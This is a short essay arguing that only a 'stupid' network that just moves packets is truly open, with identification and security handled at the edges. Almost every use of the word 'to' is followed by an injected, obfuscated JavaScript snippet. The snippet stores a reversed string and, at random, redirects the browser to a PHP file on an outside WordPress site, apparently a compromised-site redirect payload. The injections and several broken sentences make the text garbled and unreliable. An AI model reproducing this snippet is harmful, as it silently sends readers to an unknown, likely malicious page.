The Only Really Open Net Is The Really Stupid Net !

Many claim $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to have an “open access network” structure but in reality
this is not true in most cases. There are all kinds of limitations for
the openness.

Definition of Open Network

An open net cannot be compared $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to a telephone exchange (even with
digital packets). It must rather be compared $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to the Post office where
the packets are sent $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to the right destination no matter what they
contain. There are some technical limitations on weight and bulk (data
packet length) but in general the Post distributes anything.

An open access network should have no limitations for the access $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to

limitations of IP addresses $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to connect $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to, pro$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tocols used or ports

Clearly, this is not true of virtually any of those networks claiming
$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to be “open access”. There is, however, no restrictions on the
services provided $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to the net.

It is also possible $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to require any kind of special hardware or

“Outside the net” means often outside the terminal or router or
firewall connected $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to the network.

in many ways but they cannot be considered part of the open net in
that case.

The Stupid Net

 

The only really open network is the “stupid” net. It means that the
network is ONLY moving packets $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to the right IP address. It does not
care at all what is inside the packets. There must not be any
“intelligence” inside the network – only at its edges. The concept was
first presented by David S. Isenberg in 1997: “Rise of the Stupid
Network”, Computer Telephony, August 1997, pp. 16-26. A later version
was published in 1998 “The Dawn of the Stupid Network”, ACM Networker
2.1, February/March 1998, pp. 24-31.

Basically it follows the KISS principle (Keep It Simple Stupid). The
original article is already over 10 years old but the ideas are even
more adequate $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}today with very fast networks (optical fibre) and fast
and cheap electronics.

The main point is that the network should only move packets – it
should be “stupid”. If the intelligence is at the edges of the network
it is extremely flexible. Going in$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to new applications or pro$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}tocols
does not change the network at all, just the equipment at the edge of
the network. It is also possible $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to use different applications at the
same time without problems.

FLEXIBILITY is the most important feature of stupid networks and as
the applications change and new are invented all the time this is
really an enormous advantage. In fact we do not know what is behind
the corner in the development and the possibility $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to introduce new
applications very easily saves much time and money.

All kinds of control and optimisation must be outside the stupid
network because they destroy the flexibility. Optimisation is also a
work which usually is wasted in the long run. The capacity increases
so fast that no optimisation is needed. Just as memory size increased
from a few kilobytes $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to Gigabytes, the speed of networks is increasing
from kbits/s $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to Gbits/s. The limit of a single fibre is about 10000
Gbits/s which makes all optimisation quite unnecessary.

Control is also a wasteful undertaking. All kinds of checks in the
network can easily be fooled, even by schoolchildren. It is much
better $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to put the equipment and programs at the edges of the network,
This also improves flexibility – it is possible $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to use any method and
change it at any time.

This goes as well for security as for identification. Every network
must be seen as a hostile environment and you cannot rely on
anything. Thus building tunnels through the network with heavy coding
and identification equipment is much better. Also when these methods
change it does not mean that the network has $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to be changed. Again time
and money is saved.

The stupid network (which $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to my mind is the only real data network as

Possibly this will change so that
improvements can be downloaded easily.

Identification

 

One problem for services is how $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to identify a client. All ways of
doing it by structuring the net are inefficient and impose unnecessary
restrictions. And the worst thing is that they destroy the flexibility
of the network.

destroy the structure of the network. It is an extremely inefficient
way. To use the MAC $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to identify a client is almost impossible because
it is so easy $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to change the MAC that any schoolboy can do it. The same
goes for using the IP-address of the client.

In a stupid net the identification must be handled outside the
network. It is possible using passwords, programs or hardware and give
much better security. And it is very flexible. The client can move
around as much as he likes and the networks can be changed in any way
without interfering with the identification. As long as the network
passes the packets $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to the right place everything will work.

Security

 Security is going $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to be one of the worst problems but it should not be
implemented within the network. Basic security can be handled with
routers and firewalls at the edges of the network – both at the
connection $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to Internet and at the connection of the user. Also local
networks must be considered insecure.

For important tasks like banking or work over the net it is possible
$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to use VPN tunnels or any kind of heavily coded transmission. This can
be implemented in software like the Secure Shell or hard coded. A
fairly secure and fast system is hardware at both ends of the
connection.

One problem is, however, $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to achieve a common standard. It seems a
little unnecessary $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to have different hardware for each
connection. But that is a universal problem and not connected $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to the
stupid net. It must be solved quite independently from the network
design. Also, with more and more mobile users it is impossible $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to
solve these problems within the net. They must work where-ever the user
is in the whole world.
